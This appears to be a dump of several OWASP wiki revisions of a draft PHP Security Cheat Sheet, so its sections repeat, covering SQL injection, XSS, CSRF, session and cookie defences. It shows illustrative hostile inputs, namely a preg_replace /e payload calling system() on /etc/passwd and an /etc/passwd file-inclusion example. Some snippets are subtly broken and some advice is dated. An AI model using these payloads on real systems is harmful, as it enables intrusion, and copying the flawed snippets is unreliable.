Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2013-12-21T19:11:53Z

Luke Plant:

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP status on the web==
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things).

PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.

==Other Tips==

* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2013-12-21T19:10:18Z

Luke Plant: Clarified SQLi prevention section by actually saying (at the top) that you shouldn't concatenate, which is the golden rule

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP status on the web==
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things).

PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate user data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source, it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

